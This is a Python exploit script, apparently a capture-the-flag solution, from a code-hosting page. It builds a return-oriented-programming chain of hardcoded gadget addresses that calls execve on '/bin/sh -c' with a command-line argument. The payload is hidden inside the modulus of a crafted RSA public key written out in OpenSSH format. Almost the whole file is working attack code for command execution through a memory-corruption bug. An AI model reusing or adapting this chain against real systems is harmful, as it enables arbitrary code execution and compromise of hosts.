-
Notifications
You must be signed in to change notification settings - Fork 21
/
Copy pathAttendedScriptRoot.py
116 lines (88 loc) · 3.21 KB
/
AttendedScriptRoot.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from Crypto.PublicKey.RSA import construct
import binascii
import os
import struct
import sys
# IEEE-754 conversion - well, sort of
# See https://www.h-schmidt.net/FloatConverter/IEEE754.html
def float_to_hex(f):
return struct.unpack('<I', struct.pack('<f', f))[0]
# modulus - this is where the payload resides
# ROP gadgets
# 0x000000000040037c: movups xmm0, xmmword ptr [rdx]; mov ebx, 0xf02d0ff3; ret;
rdx_to_xmm0 = 0x40037c
# 0x0000000000400380: cvtss2si esi, xmm0; ret;
cvtss2si_to_esi = 0x400380
# 0x0000000000400367: mov rdi, rsi; pop rdx; ret;
rsi_to_rsi_pop_rdx = 0x400367
# 0x000000000040036a: pop rdx; ret;
pop_rdx = 0x40036a
# 0x0000000000400394: mov eax, 0xffffffff; xor rcx, rcx; ret;
load_eax_neg_1 = 0x400393
# 0x0000000000400370: shr eax, 1; ret;
shr_eax_by_1 = 0x400370
# 0x000000000040036d: not al; adc cl, 0xe8; ret;
not_al = 0x40036d
# 0x00000000004003cf: syscall;
syscall = 0x4003cf
# 0x000000000040032e : inc eax ; jmp 0x4002f1
inc_eax = 0x400399
# 0x0000000000400367: mov rdi, rsi; pop rdx; ret;
rsi_to_rdi_pop_rdx = 0x400367
# 0x00000000004003c7: mov eax, 1; xor rdi, rdi; syscall; ret;
exit = 0x4003c7
# ROP chain
# build argv[] at 0x6010e6
cmd = sys.argv[1] + '\x00'
args = '\x00'.join("/bin/sh -c".split(' ')) + '\x00'
argv = []
loc = 0x6010e6 + (len(args.split('\x00')) + 1) * 0x8
for arg in range(len(args.split('\x00'))):
if (arg == 0):
argv.append(loc)
else:
loc += len(args.split('\x00')[arg-1]) + 1
argv.append(loc)
# offset to return address
payload = struct.pack('<Q', float_to_hex(argv[0])) # argv[0] goes to rdi
payload += struct.pack('<Q', float_to_hex(0x6010e6)) # argv goes to rsi
for arg in argv:
payload += struct.pack('<Q', arg)
payload += struct.pack('<Q', 0x0) # null-terminated array
payload += args + cmd + 'A' * (754 - (len(argv) + 1) * 0x8 - len(args) - len(cmd) - 16) # after adjustment offset is 754
# set eax to 0x3b or 59, syscall number for execve(2)
# if eax = 0xffffffff, then we need to shr 24 times to reduce to 0xff
# shortest sequence for 59 is: ['s', 'n', 's', 's', 's', 'n', 's', 's']
payload += struct.pack('<Q', load_eax_neg_1)
for _ in range(25):
payload += struct.pack('<Q', shr_eax_by_1)
payload += struct.pack('<Q', not_al)
for _ in range(3):
payload += struct.pack('<Q', shr_eax_by_1)
payload += struct.pack('<Q', not_al)
for _ in range(2):
payload += struct.pack('<Q', shr_eax_by_1)
# pop argv[0] to rdx
# mov [rdx] to xmm0; convert xmm0 to esi (rsi); mov rsi to rdi
payload += struct.pack('<Q', pop_rdx)
payload += struct.pack('<Q', 0x6010d6)
payload += struct.pack('<Q', rdx_to_xmm0)
payload += struct.pack('<Q', cvtss2si_to_esi)
payload += struct.pack('<Q', rsi_to_rdi_pop_rdx)
# pop argv to rdx
# mov [rdx] to xmm0, convert xmm0 to esi (rsi)
payload += struct.pack('<Q', 0x6010d6 + 0x8)
payload += struct.pack('<Q', rdx_to_xmm0)
payload += struct.pack('<Q', cvtss2si_to_esi)
# pop 0 to rdx
payload += struct.pack('<Q', pop_rdx)
payload += struct.pack('<Q', 0x0)
# syscall
payload += struct.pack('<Q', syscall)
# go nicely go
payload += struct.pack('<Q', exit)
# construct RSA public key
e = 65537L
n = int(binascii.hexlify(payload), 16)
key = construct((n, e))
os.write(1, key.exportKey(format="OpenSSH"))